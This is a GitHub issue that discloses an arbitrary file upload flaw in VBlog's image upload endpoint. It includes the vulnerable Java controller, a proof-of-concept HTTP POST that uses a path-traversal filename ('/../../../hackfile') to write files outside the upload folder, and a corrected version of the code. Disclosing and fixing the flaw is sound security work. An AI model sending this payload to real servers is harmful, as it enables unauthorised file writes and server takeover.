Skip to content

VBlog <=May 15, 2020 version has arbitrary file upload vulnerability #92

@pankass

Description

@pankass

Influenced Version

<=May 15, 2020

Description

There is an arbitrary file upload vulnerability where ordinary users publish articles in the background

at blogserver/src/main/java/org/sang/controller/ArticleController.java

@RequestMapping(value = "/uploadimg", method = RequestMethod.POST)
    public RespBean uploadImg(HttpServletRequest req, MultipartFile image) {
        StringBuffer url = new StringBuffer();
        String filePath = "/blogimg/" + sdf.format(new Date());
        String imgFolderPath = req.getServletContext().getRealPath(filePath);
        File imgFolder = new File(imgFolderPath);
        if (!imgFolder.exists()) {
            imgFolder.mkdirs();
        }
        url.append(req.getScheme())
                .append("://")
                .append(req.getServerName())
                .append(":")
                .append(req.getServerPort())
                .append(req.getContextPath())
                .append(filePath);
        String imgName = UUID.randomUUID() + "_" + image.getOriginalFilename().replaceAll(" ", "");
        try {
            IOUtils.write(image.getBytes(), new FileOutputStream(new File(imgFolder, imgName)));
            url.append("/").append(imgName);
            return new RespBean("success", url.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new RespBean("error", "上传失败!");
    }

Here, the file name given by the user is directly spliced

image-20230406150148044

Under ordinary users, you can capture packets and modify filename to upload arbitrary files across directories

image-20230406151348594
image-20230406151304596

poc

POST /article/uploadimg HTTP/1.1
Host: 10.108.87.239:8081
Content-Length: 212
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2EAnvXdKlknyhHew
Origin: http://10.108.87.239:8081
Referer: http://10.108.87.239:8081/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=C76D41D95AA71DA9250374C6E57F505A
Connection: close

------WebKitFormBoundary2EAnvXdKlknyhHew
Content-Disposition: form-data; name="image"; filename="/../../../../../../../hackfile"
Content-Type: image/png

hack!!!!
------WebKitFormBoundary2EAnvXdKlknyhHew--

This vulnerability can be used to upload a dynamic link library to a malicious location to control the entire server

fix

The server randomly generates the file name by itself, do not use the file name given by the user

@RequestMapping(value = "/uploadimg", method = RequestMethod.POST)
    public RespBean uploadImg(HttpServletRequest req, MultipartFile image) {
        StringBuffer url = new StringBuffer();
        String filePath = "/blogimg/" + sdf.format(new Date());
        String imgFolderPath = req.getServletContext().getRealPath(filePath);
        File imgFolder = new File(imgFolderPath);
        if (!imgFolder.exists()) {
            imgFolder.mkdirs();
        }
        url.append(req.getScheme())
                .append("://")
                .append(req.getServerName())
                .append(":")
                .append(req.getServerPort())
                .append(req.getContextPath())
                .append(filePath);
        String imgName = UUID.randomUUID() + ".png";
        try {
            IOUtils.write(image.getBytes(), new FileOutputStream(new File(imgFolder, imgName)));
            url.append("/").append(imgName);
            return new RespBean("success", url.toString());
        } catch (IOException e) {
            e.printStackTrace();
        }
        return new RespBean("error", "上传失败!");
    }

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions